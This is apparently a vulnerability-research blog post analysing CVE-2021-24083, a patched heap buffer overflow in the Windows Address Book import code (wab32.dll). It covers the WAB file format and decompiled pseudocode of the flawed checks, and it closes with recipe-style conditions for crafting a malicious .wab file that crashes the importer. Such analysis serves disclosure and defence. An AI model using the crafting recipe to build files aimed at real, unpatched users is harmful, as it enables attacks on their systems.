We understand that travel conditions are constantly changing due to Covid-19. To that end, Exodus will adjust the course if necessary. If the situation arises that requires adjustment, Exodus will release an official statement and alert all registered students. In the case of cancellation, refunds (or course credit for future offerings at student’s discretion) will be provided.

The post Vulnerability Development Courses for 2021 appeared first on Exodus Intelligence.

Analysis of a Heap Buffer-Overflow Vulnerability in Microsoft Windows Address Book

5 August 2021 at 12:26

By Eneko Cruz Elejalde

Overview

This post analyzes a heap-buffer overflow in Microsoft Windows Address Book. Microsoft released an advisory for this vulnerability for the 2021 February patch Tuesday. This post will go into detail about what Microsoft Windows Address Book is, the vulnerability itself, and the steps to craft a proof-of-concept exploit that crashes the vulnerable application.

Windows Address Book

Windows Address Book is a part of the Microsoft Windows operating system and is a service that provides users with a centralized list of contacts that can be accessed and modified by both Microsoft and third party applications. The Windows Address Book maintains a local database and interface for finding and editing information about contacts, and can query network directory servers using Lightweight Directory Access Protocol (LDAP). The Windows Address Book was introduced in 1996 and was later replaced by Windows Contacts in Windows Vista and subsequently by the People App in Windows 10.

The Windows Address Book provides an API that enables other applications to directly use its database and user interface services to enable services to access and modify contact information. While Microsoft has replaced the application providing the Address Book functionality, newer replacements make use of old functionality and ensure backwards compatibility. The Windows Address Book functionality is present in several Windows Libraries that are used by Windows 10 applications, including Outlook and Windows Mail. In this way, modern applications make use of the Windows Address Book and can even import address books from older versions of Windows.

CVE-2021-24083

A heap-buffer overflow vulnerability exists within the SecurityCheckPropArrayBuffer() function within wab32.dll when processing nested properties of a contact. The network-based attack vector involves enticing a user to open a crafted .wab file containing a malicious composite property in a WAB record.

Vulnerability

The vulnerability analysis that follows is based on Windows Address Book Contacts DLL (wab32.dll) version 10.0.19041.388 running on Windows 10 x64.

The Windows Address Book Contacts DLL (i.e. wab32.dll) provides access to the Address Book API and it is used by multiple applications to interact with the Windows Address Book. The Contacts DLL handles operations related to contact and identity management. Among others, the Contacts DLL is able to import an address book (i.e, a WAB file) exported from an earlier version of the Windows Address Book.

Earlier versions of the Windows Address Book maintained a database of identities and contacts in the form of a .wab file. While current versions of Windows do not use a .wab file by default anymore, they allow importing a WAB file from an earlier installation of the Windows Address Book.

There are multiple ways of importing a WAB file into the Windows Address Book, but it was observed that applications rely on the Windows Contacts Import Tool (i.e, C:\Program Files\Windows Mail\wabmig.exe) to import an address book. The Import Tool loads wab32.dll to handle loading a WAB file, extracting relevant contacts, and importing them into the Windows Address Book.

WAB File Format

The WAB file format (commonly known as Windows Address Book or Outlook Address Book) is an undocumented and proprietary file format that contains personal identities. Identities may in turn contain contacts, and each contact might contain one or more properties.

Although the format is undocumented, the file-format has been partially reverse-engineered by a third party. The following structures were obtained from a combination of a publicly available third-party application and the disassembly of wab32.dll. Consequently, there may be inaccuracies in structure definitions, field names, and field types.

The WAB file has the following structure:

Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    -------------------
0x0         16                Magic Number            Sixteen magic bytes
0x10        4                 Count 1                 Unknown Integer
0x14        4                 Count 2                 Unknown Integer
0x18        16                Table Descriptor 1      Table descriptor
0x28        16                Table Descriptor 2      Table descriptor
0x38        16                Table Descriptor 3      Table descriptor
0x48        16                Table Descriptor 4      Table descriptor
0x58        16                Table Descriptor 5      Table descriptor
0x68        16                Table Descriptor 6      Table descriptor

All multi-byte fields are represented in little-endian byte order unless otherwise specified. All string fields are in Unicode, encoded in the UTF16-LE format.

The Magic Number field contains the following sixteen bytes: 9c cb cb 8d 13 75 d2 11 91 58 00 c0 4f 79 56 a4. While some sources list the sequence of bytes 81 32 84 C1 85 05 D0 11 B2 90 00 AA 00 3C F6 76 as a valid magic number for a WAB file, it was found experimentally that replacing the sequence of bytes prevents the Windows Address Book from processing the file.

Each of the six Table Descriptor fields numbered 1 through 6 has the following structure:

Offset    Length    Field    Description
          (bytes)
-------   --------  -------  -------------------
0x0       4         Type     Type of table descriptor
0x4       4         Size     Size of the record described
0x8       4         Offset   Offset of the record described relative to the beginning of file
0xC       4         Count    Number of records present at offset

The following are examples of some known types of table descriptor:

  • Text Record (Type: 0x84d0): A record containing a Unicode string.
  • Index Record (Type: 0xFA0): A record that may contain several descriptors to WAB records.

Each text record has the following structure:

Offset   Length (bytes)    Field          Description
------   --------------    ------------   -------------------
0x0      N                 Content        Text content of the record; a null terminated UNICODE string
0x0+N    0x4               RecordId       A record identifier for the text record 

Similarly, each index record has the following structure

Offset      Length (bytes)    Field        Description
---------   --------------    ----------   -------------------
0x0         4                 RecordId     A record identifier for the index record
0x4         4                 Offset       Offset of the record relative to the beginning of the file

Each entry in the index record (i.e, each index record structure in succession) has an offset that points to a WAB record.

WAB Records

A WAB record is used to describe a contact. It contains fields such as email addresses and phone numbers stored in properties, which may be of various types such as string, integer, GUID, and timestamp. Each WAB record has the following structure:

Offset      Length   Field              Description
---------   ------   ---------------    -------------------
0x0         4        Unknown1           Unknown field
0x4         4        Unknown2           Unknown field
0x8         4        RecordId           A record identifier for the WAB record
0xC         4        PropertyCount      The number of properties contained in RecordProperties
0x10        4        Unknown3           Unknown field 
0x14        4        Unknown4           Unknown field 
0x18        4        Unknown5           Unknown field 
0x1C        4        DataLen            The length of the RecordProperties field (M)
0x20        M        RecordProperties   Succession of subproperties belonging to the WAB record

The following fields are relevant:

  • The RecordProperties field is a succession of record property structures.
  • The PropertyCount field indicates the number of properties within the RecordProperties field.

Record properties can be either simple or composite.

Simple Properties

Simple properties have the following structure:

Offset      Length (bytes)    Field       Description
---------   --------------    ---------   -------------------
0x0         0x2               Tag         A property tag describing the type of the contents
0x2         0x2               Unknown     Unknown field
0x4         0x4               Size        Size in bytes of Value member (X)
0x8         X                 Value       Property value or content

Tags of simple properties are smaller than 0x1000, and include the following:

Tag Name        Tag Value    Length      Description
                             (bytes)
---------       -----------  ---------   -------------------
PtypInteger16   0x00000002   2           A 16-bit integer
PtypInteger32   0x00000003   4           A 32-bit integer
PtypFloating32  0x00000004   4           A 32-bit floating point number
PtypFloating64  0x00000005   8           A 64-bit floating point number
PtypBoolean     0x0000000B   2           Boolean, restricted to 1 or 0
PtypString8     0x0000001E   Variable    A string of multibyte characters in externally specified
                                         encoding with terminating null character (single 0 byte)
PtypBinary      0x00000102   Variable    A COUNT field followed by that many bytes
PtypString      0x0000001F   Variable    A string of Unicode characters in UTF-16LE format encoding
                                         with terminating null character (0x0000).
PtypGuid        0x00000048   16          A GUID with Data1, Data2, and Data3 filds in little-endian
PtypTime        0x00000040   8           A 64-bit integer representing the number of 100-nanosecond
                                         intervals since January 1, 1601
PtypErrorCode   0x0000000A   4           A 32-bit integer encoding error information

Note the following:

  • The aforementioned list is not exhaustive. For more property tag definitions, see this.
  • The value of PtypBinary is prefixed by a COUNT field, which counts 16-bit words.
  • In addition to the above, the following properties also exist; their usage in WAB is unknown.
    • PtypEmbeddedTable (0x0000000D): The property value is a Component Object Model (COM) object.
    • PtypNull (0x00000001): None: This property is a placeholder.
    • PtypUnspecified (0x00000000): Any: this property type value matches any type;

Composite Properties

Composite properties have the following structure:

Offset  Length     Field             Description
        (bytes)
------  ---------  ----------------- -------------------
0x0     0x2        Tag               A property tag describing the type of the contents
0x2     0x2        Unknown           Unknown field
0x4     0x4        NestedPropCount   Number of nested properties contained in the current WAB property
0x8     0x4        Size              Size in bytes of Value member (X)
0xC     X          Value             Property value or content

Tags of composite properties are greater than or equal to 0x1000, and include the following:

Tag Name                Tag Value
---------               ----------
PtypMultipleInteger16   0x00001002
PtypMultipleInteger32   0x00001003
PtypMultipleString8     0x0000101E
PtypMultipleBinary      0x00001102
PtypMultipleString      0x0000101F
PtypMultipleGuid        0x00001048
PtypMultipleTime        0x00001040


The Value field of each composite property contains NestedPropCount number of Simple properties of the corresponding type.

In case of fixed-sized properties (PtypMultipleInteger16, PtypMultipleInteger32, PtypMultipleGuid, and PtypMultipleTime), the Value field of a composite property contains NestedPropCount number of the Value field of the corresponding Simple property.

For example, in a PtypMultipleInteger32 structure with NestedPropCount of 4:

  • The Size is always 16.
  • The Value contains four 32-bit integers.

In case of variable-sized properties (PtypMultipleString8, PtypMultipleBinary, and PtypMultipleString), the Value field of the composite property contains NestedPropCount number of Size and Value fields of the corresponding Simple property.

For example, in a PtypMultipleString structure with NestedPropCount of 2 containing the strings “foo” and “bar” in Unicode:

  • The Size is 14 00 00 00.
  • The Value field contains a concatenation of the following two byte-strings:
    • “foo” encoded with a four-byte length: 06 00 00 00 66 00 6f 00 6f 00.
    • “bar” encoded with a four-byte length: 06 00 00 00 62 00 61 00 72 00.

Technical Details

The vulnerability in question occurs when a malformed Windows Address Book in the form of a WAB file is imported. When a user attempts to import a WAB file into the Windows Address Book, the method WABObjectInternal::Import() is called, which in turn calls ImportWABFile(). For each contact inside the WAB file, ImportWABFile() performs the following nested calls: ImportContact(), CWABStorage::ReadRecord(), ReadRecordWithoutLocking(), and finally HrGetPropArrayFromFileRecord(). This latter function receives a pointer to a file as an argument and reads the contact header and extracts PropertyCount and DataLen. The function HrGetPropArrayFromFileRecord() in turn calls SecurityCheckPropArrayBuffer() to perform security checks upon the imported file and HrGetPropArrayFromBuffer() to read the contact properties into a property array.

The function HrGetPropArrayFromBuffer() relies heavily on the correctness of the checks performed by SecurityCheckPropArrayBuffer(). However, the function fails to implement security checks upon certain property types. Specifically, SecurityCheckPropArrayBuffer() may skip checking the contents of nested properties where the property tag is unknown, while the function HrGetPropArrayFromBuffer() continues to process all nested properties regardless of the security check. As a result, it is possible to trick the function HrGetPropArrayFromBuffer() into parsing an unchecked contact property. As a result of parsing such a property, the function HrGetPropArrayFromBuffer() can be tricked into overflowing a heap buffer.

Code Analysis

The following code blocks show the affected parts of methods relevant to this vulnerability. Code snippets are demarcated by reference markers denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker.

The following is the pseudocode of the function HrGetPropArrayFromFileRecord:

[1]

if ( !(unsigned int)SecurityCheckPropArrayBuffer(wab_buffer_full, HIDWORD(uBytes[1]), wab_buffer[3]) )
  {

[2]
    result = 0x8004011b;        // Error
    goto LABEL_25;              // Return prematurely
  }

[3]
  result = HrGetPropArrayFromBuffer(wab_buffer_full, HIDWORD(uBytes[1]), wab_buffer[3], 0, a7);

At [1] the function SecurityCheckPropArrayBuffer() is called to perform a series of security checks upon the buffer received and the properties contained within. If the check is positive, then the input is trusted and processed by calling HrGetPropArrayFromBuffer() at [3]. Otherwise, the function returns with an error at [2].

The following is the pseudocode of the function SecurityCheckPropArrayBuffer():

    __int64 __fastcall SecurityCheckPropArrayBuffer(unsigned __int8 *buffer_ptr, unsigned int buffer_length, int header_dword_3)
    {
      unsigned int security_check_result; // ebx
      unsigned int remaining_buffer_bytes; // edi
      int l_header_dword_3; // er15
      unsigned __int8 *ptr_to_buffer; // r9
      int current_property_tag; // ecx
      __int64 c_dword_2; // r8
      unsigned int v9; // edi
      int VA; // ecx
      int VB; // ecx
      int VC; // ecx
      int VD; // ecx
      int VE; // ecx
      int VF; // ecx
      int VG; // ecx
      int VH; // ecx
      signed __int64 res; // rax
      _DWORD *ptr_to_dword_1; // rbp
      unsigned __int8 *ptr_to_dword_0; // r14
      unsigned int dword_2; // eax
      unsigned int v22; // edi
      int v23; // esi
      int v24; // ecx
      unsigned __int8 *c_ptr_to_property_value; // [rsp+60h] [rbp+8h]
      unsigned int v27; // [rsp+68h] [rbp+10h]
      unsigned int copy_dword_2; // [rsp+70h] [rbp+18h]

      security_check_result = 0;
      remaining_buffer_bytes = buffer_length;
      l_header_dword_3 = header_dword_3;
      ptr_to_buffer = buffer_ptr;
      if ( header_dword_3 )                      
      {
        while ( remaining_buffer_bytes > 4 )        
        {

[4]

          if ( *(_DWORD *)ptr_to_buffer & 0x1000 )  
          {

[5]

            current_property_tag = *(unsigned __int16 *)ptr_to_buffer;
            if ( current_property_tag == 0x1102 ||                    
                 (unsigned int)(current_property_tag - 0x101E) <= 1 ) 
            {                         

[6]
                                      
              ptr_to_dword_1 = ptr_to_buffer + 4;                     
              ptr_to_dword_0 = ptr_to_buffer;
              if ( remaining_buffer_bytes < 0xC )                     
                return security_check_result;                         
              dword_2 = *((_DWORD *)ptr_to_buffer + 2);
              v22 = remaining_buffer_bytes - 0xC;
              if ( dword_2 > v22 )                                     
                return security_check_result;                         
              ptr_to_buffer += 12;
              copy_dword_2 = dword_2;
              remaining_buffer_bytes = v22 - dword_2;
              c_ptr_to_property_value = ptr_to_buffer;                
              v23 = 0;                                                
              if ( *ptr_to_dword_1 > 0u )
              {
                while ( (unsigned int)SecurityCheckSingleValue(
                                        *(_DWORD *)ptr_to_dword_0,
                                        &c_ptr_to_property_value,
                                        ©_dword_2) )
                {
                  if ( (unsigned int)++v23 >= *ptr_to_dword_1 )       
                  {                                                   
                    ptr_to_buffer = c_ptr_to_property_value;
                    goto LABEL_33;
                  }
                }
                return security_check_result;
              }
            }
            else                                                         
            {
             
[7]

              if ( remaining_buffer_bytes < 0xC )
                return security_check_result;
              c_dword_2 = *((unsigned int *)ptr_to_buffer + 2);       
              v9 = remaining_buffer_bytes - 12;
              if ( (unsigned int)c_dword_2 > v9 )                     
                return security_check_result;                         
              remaining_buffer_bytes = v9 - c_dword_2;
              VA = current_property_tag - 0x1002;                     
              if ( VA )
              {
                VB = VA - 1;
                if ( VB && (VC = VB - 1) != 0 )
                {
                  VD = VC - 1;
                  if ( VD && (VE = VD - 1) != 0 && (VF = VE - 1) != 0 && (VG = VF - 13) != 0 && (VH = VG - 44) != 0 )
                    res = VH == 8 ? 16i64 : 0i64;
                  else
                    res = 8i64;
                }
                else
                {
                  res = 4i64;
                }
              }
              else
              {
                res = 2i64;
              }
              if ( (unsigned int)c_dword_2 / *((_DWORD *)ptr_to_buffer + 1) != res ) 
                return security_check_result;                                        
                                                                                     

              ptr_to_buffer += c_dword_2 + 12;
            }
          }
          else                                     
          {                                        

[8]

            if ( remaining_buffer_bytes < 4 )       
              return security_check_result;
            v24 = *(_DWORD *)ptr_to_buffer;         
            c_ptr_to_property_value = ptr_to_buffer + 4;// new exe: v13 = buffer_ptr + 4;
            v27 = remaining_buffer_bytes - 4;       
            if ( !(unsigned int)SecurityCheckSingleValue(v24, &c_ptr_to_property_value, &v27) )
              return security_check_result;
            remaining_buffer_bytes = v27;
            ptr_to_buffer = c_ptr_to_property_value;
          }
    LABEL_33:
          if ( !--l_header_dword_3 )
            break;
        }
      }
      if ( !l_header_dword_3 )
        security_check_result = 1;
      return security_check_result;
    }

At [4] the tag of the property being processed is checked. The checks performed depend on whether the property processed in each iteration is a simple or a composite property. For simple properties (i.e, properties with tag lower than 0x1000), execution continues at [8]. The following checks are done for simple properties:

  1. If the remaining number of bytes in the buffer is fewer than 4, the function returns with an error.
  2. A pointer to the property value is obtained and SecurityCheckSingleValue() is called to perform a security check upon the simple property and its value. SecurityCheckSingleValue() performs a security check and increments the pointer to point at the next property in the buffer, so that SecurityCheckPropArrayBuffer() can check the next property on the next iteration.
  3. The number of total properties is decremented and compared to zero. If equal to zero, then the function returns successfully. If different, the next iteration of the loop checks the next property.

Similarly, for composite properties (i.e, properties with tag equal or higher than 0x1000) execution continues at [5] and the following is done.

For variable length composite properties (if the property tag is equal to 0x1102 (PtypMultipleBinary) or equal or smaller than 0x101f (PtypMultipleString)), the code at [6] does the following:

  1. The number of bytes left to read in the buffer is compared with 0xC to avoid overrunning the buffer.
  2. The Size field of the property is compared to the remaining buffer length to avoid overrunning the buffer.
  3. For each nested property, the function SecurityCheckSingleValue() is called. It:
    1. Performs a security check on the nested property.
    2. Advances the pointer to the buffer held by the caller, in order to point to the next nested property.
  4. The loop runs until the number of total properties in the contact (decremented in each iteration) is zero.

For fixed-length composite properties (if the property tag in question is different from 0x1102 (PtypMultipleBinary) and larger than 0x101f (PtypMultipleString)), the following happens starting at [7]:

  1. The number of bytes left to read in the buffer is compared with 0xC to avoid overrunning the buffer.
  2. The Size is compared to the remaining buffer length to avoid overrunning the buffer.
  3. The size of each nested property, which depends only on the property tag, is calculated from the parent property tag.
  4. The Size is divided by NestedPropCount to obtain the size of each nested property.
  5. The function returns with an error if the calculated subproperty size is different from the property size deduced from parent property tag.
  6. The buffer pointer is incremented by the size of the parent property value to point to the next property.

Unknown or non-processable property types are assigned the nested property size 0x0.

It was observed that if the calculated property size is zero, the buffer pointer is advanced by the size of the property value, as described by the header. The buffer is advanced regardless of the property size and by advancing the buffer, the security check permits the value of the parent property (which may include subproperties) to stay unchecked. For the security check to pass the result of the division performed on Step 4 for fixed-length composite properties must be zero. Therefore for an unknown or non-processable property to pass the security check, NestedPropCount must be larger than Size. Note that since the size of any property in bytes is at least two, NestedPropCount must always be no larger than half of Size, and therefore, the aforementioned division must never be zero in benign cases.

After the checks have concluded, the function returns zero for a failed check and one for a passed check.

Subsequently, the function HrGetPropArrayFromFileRecord() calls HrGetPropArrayFromBuffer(), which aims to collect the properties into an array of _SPropValue structs and return it to the caller. The _SPropValue array has a length equal of the number of properties (as given by the contact header) and is allocated in the heap through a call to LocalAlloc(). The number of properties is multiplied by sizeof(_SPropValue) to yield the total buffer size. The following fragment shows the allocation taking place:

    if ( !property_array_r )
    {
        ret = -2147024809;
        goto LABEL_71;
    }
    *property_array_r = 0i64;
    header_dword_3_1 = set_to_zero + header_dword_3;

[9]

    if ( (unsigned int)header_dword_3_1 < header_dword_3       
      || (unsigned int)header_dword_3_1 > 0xAAAAAAA            
      || (v10 = (unsigned int)header_dword_3_1,                               
          property_array = (struct _SPropValue *)LocalAlloc(
                                                   0x40u,
                                                   0x18 * header_dword_3_1),
                                                   // sizeof(_SPropValue) * n_properties_in_binary
        (*property_array_r = property_array) == 0i64) )
    {
        ERROR_INSUFICIENT_MEMORY:
        ret = 0x8007000E;
        goto LABEL_71;
    }

An allocation of sizeof(_SPropValue) * n_properties_in_binary can be observed at [9]. Immediately after, each of the property structures are initialized and their property tag member is set to 1. After initialization, the buffer, on which security checks have already been performed, is processed property by property, advancing the property a pointer to the next property with the property header and value sizes provided by the property in question.

If the property processed by the specific loop iteration is a simple property, the following code is executed:

    if ( !_bittest((const signed int *)¤t_property_tag, 0xCu) )
    {
      if ( v16 < 4 )
        break;
      dword_1 = wab_ulong_buffer_full[1];
      ptr_to_dword_2 = (char *)(wab_ulong_buffer_full + 2);
      v38 = v16 - 4;
      if ( (unsigned int)dword_1 > v38 )
        break;
      current_property_tag = (unsigned __int16)current_property_tag;
      if ( (unsigned __int16)current_property_tag > 0xBu )
      {

[10]

        v39 = current_property_tag - 0x1E;
        if ( !v39 )
          goto LABEL_79;
        v40 = v39 - 1;
        if ( !v40 )
          goto LABEL_79;
        v41 = v40 - 0x21;
        if ( !v41 )
          goto LABEL_56;
        v42 = v41 - 8;
        if ( v42 )
        {
          if ( v42 != 0xBA )
            goto LABEL_56;
          v43 = dword_1;
          (*property_array_r)[p_idx].Value.bin.lpb = (LPBYTE)LocalAlloc(0x40u, dword_1);
          if ( !(*property_array_r)[p_idx].Value.bin.lpb )
            goto ERROR_INSUFICIENT_MEMORY;
          (*property_array_r)[p_idx].Value.l = dword_1;
          v44 = *(&(*property_array_r)[p_idx].Value.at + 1);
        }
        else
        {
    LABEL_79:

[11]
                                           
          v43 = dword_1;
          (*property_array_r)[p_idx].Value.cur.int64 = (LONGLONG)LocalAlloc(0x40u, dword_1);
          v44 = (*property_array_r)[p_idx].Value.dbl;
          if ( v44 == 0.0 )
            goto ERROR_INSUFICIENT_MEMORY;
        }
        memcpy_0(*(void **)&v44, ptr_to_dword_2, v43);
        wab_ulong_buffer_full = (ULONG *)&ptr_to_dword_2[v43];
      }
      else
      {
    LABEL_56:               

[12]
           
        memcpy_0(&(*property_array_r)[v15].Value, ptr_to_dword_2, dword_1);
        wab_ulong_buffer_full = (ULONG *)&ptr_to_dword_2[dword_1];
      }
      remaining_bytes_to_process = v38 - dword_1;
      goto NEXT_PROPERTY;
    }

[Truncated]

    NEXT_PROPERTY:
        ++p_idx;
        processed_property_count = (unsigned int)(processed_property_count_1 + 1);
        processed_property_count_1 = processed_property_count;
        if ( (unsigned int)processed_property_count >= c_header_dword_3 )
          return 0;
      }

At [10] the property tag is extracted and compared with several constants. If the property tag is 0x1e (PtypString8), 0x1f (PtypString), or 0x48 (PtypGuid), then execution continues at [11]. If the property tag is 0x40 (PtypTime) or is not recognized, execution continues at [12]. The memcpy call at [12] is prone to a heap overflow.

Conversely, if the property being processed in the specific loop iteration is not a simple property, the following code is executed. Notably, when the following code is executed, the pointer DWORD* wab_ulong_buffer_full points to the property tag of the property being processed. Regardless of which composite property is being processed, before the property tag is identified the buffer is advanced to point to the beginning of the property value, which is at the 4th 32-bit integer.

[13]

    if ( v16 < 4 )
    break;
    c_dword_1 = wab_ulong_buffer_full[1];
    v19 = v16 - 4;
    if ( v19 < 4 )
    break;
    dword_2 = wab_ulong_buffer_full[2];
    wab_ulong_buffer_full += 3;                     

    remaining_bytes_to_process = v19 - 4;

[14]

    if ( (unsigned __int16)current_property_tag >= 0x1002u )
    {
    if ( (unsigned __int16)current_property_tag <= 0x1007u || (unsigned __int16)current_property_tag == 0x1014 )
        goto LABEL_80;
    if ( (unsigned __int16)current_property_tag == 0x101E )
    {
        [Truncated]
        
    }
    if ( (unsigned __int16)current_property_tag == 0x101F )
    {
        [Truncated]        
    }
    if ( ((unsigned __int16)current_property_tag - 0x1040) & 0xFFFFFFF7 )
    {
        if ( (unsigned __int16)current_property_tag == 0x1102 )
        {
        [Truncated]
        }
    }
    else
    {
    LABEL_80:

[15]

        (*property_array_r)[p_idx].Value.bin.lpb = (LPBYTE)LocalAlloc(0x40u, dword_2);
        if ( !(*property_array_r)[p_idx].Value.bin.lpb )
        goto ERROR_INSUFICIENT_MEMORY;
        (*property_array_r)[p_idx].Value.l = c_dword_1;
        if ( (unsigned int)dword_2 > remaining_bytes_to_process )
        break;
        memcpy_0((*property_array_r)[p_idx].Value.bin.lpb, wab_ulong_buffer_full, dword_2);
        wab_ulong_buffer_full = (ULONG *)((char *)wab_ulong_buffer_full + dword_2);
        remaining_bytes_to_process -= dword_2;
    }
    }

    NEXT_PROPERTY:
        ++p_idx;
        processed_property_count = (unsigned int)(processed_property_count_1 + 1);
        processed_property_count_1 = processed_property_count;
        if ( (unsigned int)processed_property_count >= c_header_dword_3 )
        return 0;
    }

After the buffer has been advanced at [13], the property tag is compared with several constants starting at [14]. Finally, the code fragment at [15] attempts to process a composite property (i.e. >= 0x1000) with a tag not contemplated by the previous constants.

Although the processing logic of each type of property is irrelevant, an interesting fact is that if the property tag is not recognized, the buffer pointer has still been advanced to the end of the end of its header, and it’s never retracted. This happens if all of the following conditions are met:

  • The property tag is larger or equal than 0x1002.
  • The property tag is larger than 0x1007.
  • The property tag is different from 0x1014.
  • The property tag is different from 0x101e.
  • The property tag is different from 0x101f.
  • The property tag is different from 0x1102.
  • The result of subtracting 0x1040 from the property tag, and performing a bitwise AND of the result with 0xFFFFFFF7 is nonzero.

Interestingly, if all of the above conditions are met, the property header of the composite property is skipped, and the next loop iteration will interpret its property body as a different property.

Therefore, it is possible to overflow the _SPropValue array allocated in the heap by HrGetPropArrayFromBuffer() by using the following observations:

  • A specially crafted composite unknown or non-processable property can be made to bypass security checks if NestedPropCount is larger than Size.
  • HrGetPropArrayFromBuffer() can be made to interpret the Value of a specially crafted property as a separate property.

Proof-of-Concept

In order to create a malicious WAB file from a benign WAB file, export a valid WAB file from an instance of the Windows Address Book. It is noted that Outlook Express on Windows XP includes the ability to export contacts as a WAB file.

The benign WAB file can be modified to make it malicious by altering a contact inside it to have the following characteristics:

  • A nested property containing the following:
  • A tag of an unknown or unprocessable type, for example the tag 0x1058, with the following conditions:
    • Must be larger or equal than 0x1002.
    • Must be larger than 0x1007.
    • Must be different from 0x1014, 0x101e, 0x101f, and 0x1102.
    • The result of subtracting 0x1040 from the property tag, and performing a bitwise AND of the result with 0xFFFFFFF7 is non-zero.
    • Must be different from 0x1002, 0x1003, 0x1004, 0x1005, 0x1006, 0x1007, 0x1014, 0x1040, and 0x1048.
    • NestedPropCount is larger than Size.
    • The Value of the composite property is empty.
    • A malicious simple property containing the following:
    • A property tag different from 0x1e, 0x1f, 0x40 and 0x48. For example, the tag 0x0.
    • The Size value is larger than 0x18 x NestedPropCount in order to overflow the _SPropValue array buffer.
    • An unspecified number of trailing bytes, that will overflow the _SPropValue array buffer.

Finally, when an attacker tricks an unsuspecting user into importing the specially crafted WAB file, the vulnerability is triggered and code execution could be achieved. Failed exploitation attempts will most likely result in a crash of the Windows Address Book Import Tool.

Due to the presence of ASLR and a lack of a scripting engine, we were unable to obtain arbitrary code execution in Windows 10 from this vulnerability.

Conclusion

Hopefully you enjoyed this dive into CVE-2021-24083, and if you did, go ahead and check out our other blog post on a use-after-free vulnerability in Adobe Acrobat Reader DC. If you haven’t already, make sure to follow us on Twitter to keep up to date with our work. Happy hacking!

The post Analysis of a Heap Buffer-Overflow Vulnerability in Microsoft Windows Address Book appeared first on Exodus Intelligence.

❌
❌